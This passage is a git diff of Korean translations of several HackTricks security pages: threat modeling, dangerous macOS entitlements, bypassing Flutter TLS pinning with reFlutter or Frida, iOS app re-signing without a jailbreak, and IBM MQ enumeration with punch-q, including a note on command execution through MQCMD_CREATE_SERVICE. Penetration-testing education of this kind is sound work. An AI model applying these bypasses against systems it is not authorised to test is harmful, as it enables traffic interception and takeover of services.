https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index a2820f225..e70283422 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,10 +1,10 @@ # 위협 모델링 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} ## 위협 모델링 -HackTricks의 포괄적인 위협 모델링 가이드에 오신 것을 환영합니다! 시스템의 잠재적 취약점을 식별하고 이해하며 전략을 세우는 사이버 보안의 이 중요한 측면을 탐구해 보세요. 이 스레드는 실제 사례, 유용한 소프트웨어 및 이해하기 쉬운 설명으로 가득 찬 단계별 가이드 역할을 합니다. 사이버 보안 방어를 강화하려는 초보자와 경험이 풍부한 실무자 모두에게 이상적입니다. +HackTricks의 포괄적인 위협 모델링 가이드에 오신 것을 환영합니다! 시스템의 잠재적 취약점을 식별하고 이해하며 전략을 세우는 사이버 보안의 이 중요한 측면을 탐구해 보세요. 이 스레드는 실제 사례, 유용한 소프트웨어 및 이해하기 쉬운 설명으로 가득 찬 단계별 가이드 역할을 합니다. 초보자와 경험이 풍부한 실무자 모두에게 사이버 보안 방어를 강화하는 데 이상적입니다. ### 일반적으로 사용되는 시나리오 @@ -15,14 +15,14 @@ HackTricks의 포괄적인 위협 모델링 가이드에 오신 것을 환영합 위협 모델은 일반적으로 애플리케이션의 계획된 아키텍처 또는 기존 빌드를 나타내는 다이어그램, 이미지 또는 기타 형태의 시각적 일러스트레이션으로 표현됩니다. 이는 **데이터 흐름 다이어그램**과 유사하지만, 주요 차이점은 보안 지향적인 설계에 있습니다. -위협 모델은 종종 빨간색으로 표시된 요소를 특징으로 하며, 이는 잠재적 취약점, 위험 또는 장벽을 상징합니다. 위험 식별 프로세스를 간소화하기 위해 CIA(기밀성, 무결성, 가용성) 삼각형이 사용되며, 이는 많은 위협 모델링 방법론의 기초를 형성하고 STRIDE가 가장 일반적인 방법론 중 하나입니다. 그러나 선택된 방법론은 특정 맥락과 요구 사항에 따라 달라질 수 있습니다. +위협 모델은 종종 빨간색으로 표시된 요소를 특징으로 하여 잠재적 취약점, 위험 또는 장벽을 상징합니다. 위험 식별 프로세스를 간소화하기 위해 CIA(기밀성, 무결성, 가용성) 삼각형이 사용되며, 이는 많은 위협 모델링 방법론의 기초를 형성하고 STRIDE가 가장 일반적인 방법론 중 하나입니다. 그러나 선택된 방법론은 특정 맥락과 요구 사항에 따라 달라질 수 있습니다. ### CIA 삼각형 CIA 삼각형은 정보 보안 분야에서 널리 인정받는 모델로, 기밀성, 무결성 및 가용성을 나타냅니다. 이 세 가지 기둥은 많은 보안 조치 및 정책이 구축되는 기초를 형성하며, 위협 모델링 방법론도 포함됩니다. 1. **기밀성**: 데이터나 시스템이 무단 개인에 의해 접근되지 않도록 보장합니다. 이는 보안의 중심 측면으로, 데이터 유출을 방지하기 위해 적절한 접근 제어, 암호화 및 기타 조치를 요구합니다. -2. **무결성**: 데이터의 정확성, 일관성 및 신뢰성을 보장합니다. 이 원칙은 데이터가 무단 당사자에 의해 변경되거나 변조되지 않도록 합니다. 종종 체크섬, 해싱 및 기타 데이터 검증 방법이 포함됩니다. +2. **무결성**: 데이터의 정확성, 일관성 및 신뢰성을 보장합니다. 이 원칙은 데이터가 무단 당사자에 의해 변경되거나 변조되지 않도록 보장합니다. 이는 종종 체크섬, 해싱 및 기타 데이터 검증 방법을 포함합니다. 3. **가용성**: 데이터와 서비스가 필요할 때 승인된 사용자에게 접근 가능하도록 보장합니다. 이는 종종 중복성, 내결함성 및 고가용성 구성을 포함하여 시스템이 중단 상황에서도 계속 작동하도록 합니다. ### 위협 모델링 방법론 @@ -31,12 +31,12 @@ CIA 삼각형은 정보 보안 분야에서 널리 인정받는 모델로, 기 2. **DREAD**: 이는 Microsoft에서 제공하는 또 다른 방법론으로, 식별된 위협의 위험 평가에 사용됩니다. DREAD는 **손상 가능성, 재현성, 악용 가능성, 영향을 받는 사용자 및 발견 가능성**의 약어입니다. 이러한 각 요소는 점수를 매기고, 결과는 식별된 위협의 우선 순위를 정하는 데 사용됩니다. 3. **PASTA** (공격 시뮬레이션 및 위협 분석 프로세스): 이는 **위험 중심**의 7단계 방법론입니다. 보안 목표 정의 및 식별, 기술 범위 생성, 애플리케이션 분해, 위협 분석, 취약점 분석 및 위험/분류 평가를 포함합니다. 4. **Trike**: 이는 자산 방어에 중점을 둔 위험 기반 방법론입니다. **위험 관리** 관점에서 시작하여 그 맥락에서 위협과 취약점을 살펴봅니다. -5. **VAST** (시각적, 민첩하고 간단한 위협 모델링): 이 접근 방식은 더 접근 가능하도록 하며 Agile 개발 환경에 통합됩니다. 다른 방법론의 요소를 결합하고 **위협의 시각적 표현**에 중점을 둡니다. +5. **VAST** (시각적, 민첩하고 간단한 위협 모델링): 이 접근 방식은 더 접근 가능하도록 하며 민첩한 개발 환경에 통합됩니다. 다른 방법론의 요소를 결합하고 **위협의 시각적 표현**에 중점을 둡니다. 6. **OCTAVE** (운영상 중요한 위협, 자산 및 취약점 평가): CERT 조정 센터에서 개발한 이 프레임워크는 **특정 시스템이나 소프트웨어보다는 조직의 위험 평가**에 중점을 둡니다. ## 도구 -위협 모델의 생성 및 관리를 **지원**할 수 있는 여러 도구와 소프트웨어 솔루션이 있습니다. 고려해 볼 수 있는 몇 가지는 다음과 같습니다. +위협 모델의 생성 및 관리를 **지원**할 수 있는 여러 도구와 소프트웨어 솔루션이 있습니다. 고려해 볼 만한 몇 가지는 다음과 같습니다. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) @@ -113,4 +113,4 @@ SpiderSuite Crawler와 같은 도구를 사용하여 영감을 얻을 수 있으 이는 소프트웨어 프로젝트의 설계 단계에서 위협을 찾는 데 도움을 주는 Microsoft의 무료 도구입니다. STRIDE 방법론을 사용하며, Microsoft 스택에서 개발하는 사람들에게 특히 적합합니다. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 99668b752..94dcb797e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -13,32 +13,32 @@ ### **`com.apple.rootless.install`** -권한 **`com.apple.rootless.install`**는 **SIP를 우회**할 수 있게 해줍니다. [자세한 정보는 여기](macos-sip.md#com.apple.rootless.install)를 확인하세요. +권한 **`com.apple.rootless.install`**은 **SIP를 우회**할 수 있게 해줍니다. [자세한 정보는 여기](macos-sip.md#com.apple.rootless.install)를 확인하세요. ### **`com.apple.system-task-ports` (이전 이름: `task_for_pid-allow`)** -이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 얻을 수 있게 해줍니다. [**자세한 정보는 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요. +이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 얻을 수 있게 해줍니다. [자세한 정보는 여기](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요. ### `com.apple.security.get-task-allow` -이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리로 실행된 프로세스의 작업 포트를 얻고 **코드를 주입**할 수 있게 해줍니다. [**자세한 정보는 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요. +이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리로 실행된 프로세스의 작업 포트를 얻고 **코드를 주입**할 수 있게 해줍니다. [자세한 정보는 여기](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요. ### `com.apple.security.cs.debugger` -디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 권한이 있어도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **얻을 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요. +디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 권한이 있어도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **얻을 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [자세한 정보는 여기](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요. ### `com.apple.security.cs.disable-library-validation` -이 권한은 **Apple에 의해 서명되지 않거나 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요. +이 권한은 **Apple에 의해 서명되지 않거나 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [자세한 정보는 여기](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요. ### `com.apple.private.security.clear-library-validation` -이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 호출하여 비활성화할 수 있게 해줍니다**.\ -[**자세한 정보는 여기**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요. +이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 호출하여 이를 비활성화**할 수 있게 해줍니다.\ +[자세한 정보는 여기](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요. ### `com.apple.security.cs.allow-dyld-environment-variables` -이 권한은 **DYLD 환경 변수를 사용**할 수 있게 해주며, 이는 라이브러리와 코드를 주입하는 데 사용될 수 있습니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)를 확인하세요. +이 권한은 **DYLD 환경 변수를 사용**할 수 있게 해주며, 이는 라이브러리와 코드를 주입하는 데 사용될 수 있습니다. [자세한 정보는 여기](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)를 확인하세요. ### `com.apple.private.tcc.manager` 또는 `com.apple.rootless.storage`.`TCC` @@ -109,7 +109,7 @@ Or making them perform **임의의 작업**. ### **`kTCCServiceSystemPolicyAppBundles`** -앱 번들(앱.app 내부) 내의 파일을 수정할 수 있도록 허용하며, 이는 기본적으로 **금지되어** 있습니다. +앱 번들(앱.app 내부) 내의 파일을 수정할 수 있도록 허용하며, 이는 기본적으로 **금지되어 있습니다**.
@@ -119,7 +119,7 @@ Or making them perform **임의의 작업**. 프로세스는 **macOS 접근성 기능을 악용**할 수 있으며, 예를 들어 키 입력을 누를 수 있습니다. 따라서 Finder와 같은 앱을 제어할 수 있는 접근 권한을 요청하고 이 권한으로 대화 상자를 승인할 수 있습니다. -## 중간 +## Medium ### `com.apple.security.cs.allow-jit` @@ -156,15 +156,15 @@ TODO [Array] [String] kTCCServiceAll ``` -프로세스가 **모든 TCC 권한을 요청하도록 허용합니다**. +프로세스가 **모든 TCC 권한을 요청하도록 허용**합니다. ### **`kTCCServicePostEvent`** -{{#include ../../../banners/hacktricks-training.md}} + -{{#include /banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/flutter.md b/src/mobile-pentesting/android-app-pentesting/flutter.md index c59991890..32da18964 100644 --- a/src/mobile-pentesting/android-app-pentesting/flutter.md +++ b/src/mobile-pentesting/android-app-pentesting/flutter.md @@ -3,42 +3,42 @@ {{#include ../../banners/hacktricks-training.md}} # Flutter -Flutter는 **구글의 크로스 플랫폼 UI 툴킷**으로, 개발자가 단일 Dart 코드베이스를 작성하면 **엔진**(네이티브 C/C++)이 이를 Android 및 iOS에 맞는 플랫폼 특정 머신 코드로 변환합니다. 엔진은 **Dart VM**, **BoringSSL**, Skia 등을 포함하고, 공유 라이브러리 **libflutter.so**(Android) 또는 **Flutter.framework**(iOS)로 배포됩니다. 모든 실제 네트워킹(DNS, 소켓, TLS)은 **이 라이브러리 내부에서** 발생하며, *일반적인 Java/Kotlin Swift/Obj-C 레이어에서는 발생하지 않습니다*. 이러한 격리된 설계 때문에 일반적인 Java 수준의 Frida 훅이 Flutter 앱에서 실패합니다. +Flutter는 **Google의 크로스 플랫폼 UI 툴킷**으로, 개발자가 단일 Dart 코드베이스를 작성하면 **Engine** (네이티브 C/C++)가 이를 Android 및 iOS에 맞는 플랫폼 특정 머신 코드로 변환합니다. Engine은 **Dart VM**, **BoringSSL**, Skia 등을 포함하고, 공유 라이브러리 **libflutter.so** (Android) 또는 **Flutter.framework** (iOS)로 배포됩니다. 모든 실제 네트워킹 (DNS, 소켓, TLS)은 **이 라이브러리 내부에서** 발생하며, *일반적인 Java/Kotlin Swift/Obj-C 레이어에서는* 발생하지 않습니다. 이러한 격리된 설계 때문에 일반적인 Java 레벨 Frida 훅이 Flutter 앱에서 실패합니다. ## Flutter에서 HTTPS 트래픽 가로채기 이것은 이 [블로그 포스트](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)의 요약입니다. ### Flutter에서 HTTPS 가로채기가 어려운 이유 -* **SSL/TLS 검증은 BoringSSL의 두 레이어 아래에 존재**하므로 Java SSL-핀닝 우회는 이를 건드리지 않습니다. +* **SSL/TLS 검증은 BoringSSL의 두 레이어 아래에 존재**하므로 Java SSL‐pinning 우회는 이를 건드리지 않습니다. * **BoringSSL은 libflutter.so 내부에 *자체* CA 저장소를 사용**하므로, Burp/ZAP CA를 Android의 시스템 저장소에 가져와도 아무런 변화가 없습니다. * libflutter.so의 기호는 **제거되고 변형되어** 동적 도구에서 인증서 검증 기능을 숨깁니다. -### 정확한 Flutter 스택 지문 인식 +### 정확한 Flutter 스택 지문 찍기 버전을 아는 것은 올바른 바이너리를 재구성하거나 패턴 매칭하는 데 도움이 됩니다. Step | Command / File | Outcome ----|----|---- Get snapshot hash | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…` -Map hash → Engine | **enginehash** 목록에서 reFlutter | Flutter 3 · 7 · 12 + 엔진 커밋 `1a65d409…` +Map hash → Engine | **enginehash** 목록에서 reFlutter | Flutter 3 · 7 · 12 + engine commit `1a65d409…` Pull dependent commits | 해당 엔진 커밋의 DEPS 파일 | • `dart_revision` → Dart v2 · 19 · 6
• `dart_boringssl_rev` → BoringSSL `87f316d7…` -[여기서 get_snapshot_hash.py를 찾으세요](https://github.com/Impact-I/reFlutter/blob/main/scripts/get_snapshot_hash.py). +[여기에서 get_snapshot_hash.py를 찾으세요](https://github.com/Impact-I/reFlutter/blob/main/scripts/get_snapshot_hash.py). -### 타겟: `ssl_crypto_x509_session_verify_cert_chain()` +### Target: `ssl_crypto_x509_session_verify_cert_chain()` * **BoringSSL의 `ssl_x509.cc`**에 위치합니다. * **`bool`을 반환**합니다 – 단일 `true`가 전체 인증서 체인 검사를 우회하는 데 충분합니다. * 모든 CPU 아키텍처에 동일한 함수가 존재하며, 오직 opcode만 다릅니다. -### 옵션 A – **reFlutter**를 이용한 바이너리 패칭 -1. 앱의 Flutter 버전에 맞는 정확한 엔진 및 Dart 소스를 **클론**합니다. +### Option A – **reFlutter**를 이용한 바이너리 패칭 +1. 앱의 Flutter 버전에 맞는 정확한 Engine 및 Dart 소스를 **클론**합니다. 2. 두 개의 핫스팟을 **정규 표현식 패치**합니다: * `ssl_x509.cc`에서 `return 1;`로 강제합니다. -* (선택 사항) `socket_android.cc`에서 프록시를 하드코딩합니다(`"10.0.2.2:8080"`). +* (선택 사항) `socket_android.cc`에서 프록시를 하드코딩합니다 (`"10.0.2.2:8080"`). 3. libflutter.so를 **재컴파일**하고, APK/IPA에 다시 넣고, 서명하고, 설치합니다. 4. 일반 버전용 **사전 패치된 빌드**가 reFlutter GitHub 릴리스에 배포되어 빌드 시간을 절약합니다. -### 옵션 B – **Frida**를 이용한 라이브 훅킹 (“하드코어” 경로) +### Option B – **Frida**를 이용한 라이브 훅킹 (“하드코어” 경로) 기호가 제거되었기 때문에, 로드된 모듈의 첫 바이트를 패턴 스캔한 다음, 반환 값을 즉석에서 변경합니다. ```javascript // attach & locate libflutter.so @@ -73,5 +73,4 @@ Flutter 자체는 **장치 프록시 설정을 무시합니다**. 가장 쉬운 ## 참조 - [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/) - -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index fc509bffa..64a141829 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -4,11 +4,11 @@ ## Main idea -**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 허용하여 해당 작업 포트를 얻을 수 있게 합니다(제어하고 메모리에 접근할 수 있게 됨). +**`get_task_allow`** 권한으로 서명된 애플리케이션은 타사 애플리케이션이 **`task_for_pid()`**라는 함수를 초기 애플리케이션의 프로세스 ID를 인수로 사용하여 실행할 수 있도록 허용하여 해당 작업 포트를 가져올 수 있게 합니다(제어하고 메모리에 접근할 수 있음). 하지만 IPA를 가져와서 권한으로 재서명한 후 장치에 다시 플래시하는 것은 그리 간단하지 않습니다. 이는 FairPlay 보호 때문입니다. 앱의 서명이 변경되면 DRM(디지털 권리 관리) 키가 **무효화되어 앱이 작동하지 않습니다**. -구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구**(예: Iridium 또는 frida-ios-dump)를 사용하여 복호화한 후 장치에서 다시 가져올 수 있습니다. 그러나 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다. +구형 탈옥된 장치에서는 IPA를 설치하고, **좋아하는 도구를 사용하여 복호화한 후**(예: Iridium 또는 frida-ios-dump) 장치에서 다시 가져올 수 있습니다. 가능하다면 복호화된 IPA를 클라이언트에게 요청하는 것이 좋습니다. ## Obtain decrypted IPA @@ -19,7 +19,7 @@ 2. macOS에서 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)를 설치하고 실행합니다. 3. Mac에서 `Terminal`을 열고 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`로 이동합니다. 나중에 이 폴더에 IPA가 나타납니다. 4. iOS 장치가 보일 것입니다. 더블 클릭한 후 상단 메뉴 바에서 Add + → Apps를 클릭합니다. -5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 추천을 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 프롬프트가 나타납니다. +5. Add를 클릭하면 Configurator가 Apple에서 IPA를 다운로드하고 장치에 푸시하려고 시도합니다. 이전에 제 권고를 따르고 IPA를 이미 설치했다면 앱을 재설치하라는 프롬프트가 나타납니다. 6. IPA는 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`에 다운로드되며, 여기서 가져올 수 있습니다. 이 과정에 대한 더 자세한 정보는 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)를 확인하세요. @@ -33,9 +33,9 @@ IPA를 복호화하기 위해 설치할 것입니다. 그러나 구형 탈옥된 ```bash unzip redacted.ipa -d unzipped ``` -`Info.plist`에서 최소 지원 버전을 확인하고, 기기가 그보다 오래된 경우 값을 변경하여 지원되도록 하십시오. +`Info.plist`에서 최소 지원 버전을 확인하고, 기기가 그보다 오래된 경우 값을 변경하여 지원되도록 합니다. -IPA를 다시 압축하십시오: +IPA를 다시 압축합니다: ```bash cd unzipped zip -r ../no-min-version.ipa * @@ -51,7 +51,7 @@ Cydia에서 **AppSync Unified tweak**가 필요할 수 있으니 `invalid signat ### 권한 패치 및 재서명 -`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구가 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고 **`get-task-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다. +`get-task-allow` 권한으로 애플리케이션을 재서명하기 위해 `app-signer`, `codesign`, `iResign`과 같은 여러 도구를 사용할 수 있습니다. `app-signer`는 재서명할 IPA 파일을 지정하고 **`get-task-allow`**를 설정하며 사용할 인증서와 프로비저닝 프로필을 쉽게 지정할 수 있는 매우 사용자 친화적인 인터페이스를 제공합니다. 인증서 및 서명 프로필에 관해서는 Apple이 Xcode를 통해 모든 계정에 **무료 개발자 서명 프로필**을 제공합니다. 앱을 생성하고 하나를 구성하세요. 그런 다음, `Settings` → `Privacy & Security`로 이동하여 **개발자 앱을 신뢰하도록 iPhone을 구성**하세요. `Developer Mode`를 클릭합니다. @@ -69,7 +69,7 @@ iOS 16부터 Apple은 **개발자 모드**를 도입했습니다: `get_task_allo 2. **설정 → 개인 정보 보호 및 보안 → 개발자 모드**로 이동하여 활성화합니다. 3. 장치가 재부팅됩니다; 암호를 입력한 후 **개발자 모드 켜기**를 요청받습니다. -개발자 모드는 비활성화하거나 전화기를 초기화할 때까지 활성 상태로 유지되므로 이 단계는 장치당 한 번만 수행하면 됩니다. [Apple 문서](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)에서 보안 의미를 설명합니다. +개발자 모드는 비활성화하거나 전화기를 초기화할 때까지 활성 상태로 유지되므로 이 단계는 장치당 한 번만 수행하면 됩니다. [Apple 문서](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)에서는 보안 의미를 설명합니다. ### 현대적인 사이드로딩 옵션 @@ -96,7 +96,7 @@ frida -U -f com.example.target -l my_script.js --no-pause ### 탈옥 없이 MobSF를 이용한 자동화된 동적 분석 -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)는 동일한 기술(`get_task_allow`)을 사용하여 실제 장치에서 개발자 서명된 IPA를 계측할 수 있으며, 파일 시스템 브라우저, 트래픽 캡처 및 Frida 콘솔이 포함된 웹 UI를 제공합니다【turn6view0†L2-L3】. 가장 빠른 방법은 Docker에서 MobSF를 실행한 다음 USB를 통해 iPhone을 연결하는 것입니다: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)는 동일한 기술(`get_task_allow`)을 사용하여 실제 장치에서 개발자 서명된 IPA를 계측할 수 있으며, 파일 시스템 브라우저, 트래픽 캡처 및 Frida 콘솔이 포함된 웹 UI를 제공합니다【】. 가장 빠른 방법은 Docker에서 MobSF를 실행한 다음 USB를 통해 iPhone을 연결하는 것입니다: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -108,7 +108,7 @@ MobSF는 이진 파일을 자동으로 배포하고, 앱 샌드박스 내에서 ### iOS 17 및 잠금 모드 주의사항 -* **잠금 모드** (설정 → 개인 정보 보호 및 보안)는 동적 링커가 서명되지 않거나 외부에서 서명된 동적 라이브러리를 로드하는 것을 차단합니다. 이 모드가 활성화된 장치를 테스트할 때는 **비활성화**되어 있는지 확인해야 하며, 그렇지 않으면 Frida/objection 세션이 즉시 종료됩니다. +* **잠금 모드** (설정 → 개인 정보 보호 및 보안)는 동적 링커가 서명되지 않거나 외부에서 서명된 동적 라이브러리를 로드하는 것을 차단합니다. 이 모드가 활성화될 수 있는 장치를 테스트할 때는 반드시 **비활성화**되어 있는지 확인해야 하며, 그렇지 않으면 Frida/objection 세션이 즉시 종료됩니다. * 포인터 인증(PAC)은 A12+ 장치에서 시스템 전반에 걸쳐 시행됩니다. Frida ≥16은 PAC 스트리핑을 투명하게 처리하므로, 새로운 주요 iOS 버전이 출시될 때 *frida-server*와 Python/CLI 툴체인을 모두 최신 상태로 유지해야 합니다. ## 참고문헌 diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index 35fcdd748..ddc4da17e 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -6,7 +6,7 @@ IBM MQ는 메시지 큐를 관리하기 위한 IBM 기술입니다. 다른 **메시지 브로커** 기술과 마찬가지로, 생산자와 소비자 간의 정보를 수신, 저장, 처리 및 분류하는 데 전념하고 있습니다. -기본적으로, **IBM MQ는 TCP 포트 1414를 노출합니다**. 때때로, HTTP REST API는 포트 **9443**에서 노출될 수 있습니다. 메트릭(프롬테우스)은 TCP 포트 **9157**에서 접근할 수도 있습니다. +기본적으로, **IBM MQ는 TCP 포트 1414를 노출합니다**. 때때로, HTTP REST API는 포트 **9443**에서 노출될 수 있습니다. 메트릭(프롬테우스)은 TCP 포트 **9157**에서 접근할 수 있습니다. IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있지만, **인스턴스를 제어하는 데도 사용될 수 있습니다**. @@ -14,7 +14,7 @@ IBM은 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) ## 도구 -쉬운 악용을 위한 추천 도구는 **[punch-q](https://github.com/sensepost/punch-q)**로, Docker 사용을 권장합니다. 이 도구는 Python 라이브러리 `pymqi`를 적극적으로 사용합니다. +쉬운 익스플로잇을 위한 추천 도구는 **[punch-q](https://github.com/sensepost/punch-q)**로, Docker를 사용합니다. 이 도구는 Python 라이브러리 `pymqi`를 적극적으로 사용합니다. 보다 수동적인 접근 방식을 원한다면, Python 라이브러리 **[pymqi](https://github.com/dsuch/pymqi)**를 사용하세요. [IBM MQ 종속성](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)이 필요합니다. @@ -62,7 +62,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_ ## Enumeration -**punch-q** 또는 **pymqi**를 사용하여 **큐 관리자 이름, 사용자, 채널 및 큐**를 열거할 수 있습니다. +**punch-q** 또는 **pymqi**를 사용하여 **큐 관리자 이름, 사용자, 채널 및 큐**를 열거해 볼 수 있습니다. ### Queue Manager @@ -145,7 +145,7 @@ Showing channels with prefix: "*"... ``` ### Queues -There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues: +**pymqi** (`dis_queues.py`)와 함께 코드 스니펫이 있지만 **punch-q**는 큐에 대한 더 많은 정보를 검색할 수 있게 해줍니다: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... @@ -193,9 +193,9 @@ Showing queues with prefix: "*"... > > 흥미로운 명령 중 하나는 `MQCMD_CREATE_SERVICE`이며, 그 문서는 [여기](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 `StartCommand`를 인수로 사용합니다 (예: `/bin/sh`). > -> 문서에는 이 명령에 대한 경고도 있습니다: _"주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있도록 허용합니다. 이 명령을 사용할 권한이 부여된 경우, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시킬 수 있는 서비스를 정의할 수 있습니다. 예를 들어, 필수 파일을 삭제하는 것입니다."_ +> 문서에는 이 명령에 대한 경고도 있습니다: _"주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있도록 허용합니다. 이 명령을 사용할 권한이 부여되면, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시키는 서비스를 정의할 수 있습니다. 예를 들어, 필수 파일을 삭제하는 것입니다."_ > -> _참고: 항상 IBM MQ 문서(관리 참조)에 따르면, 서비스 생성을 위한 동등한 MQSC 명령(`DEFINE 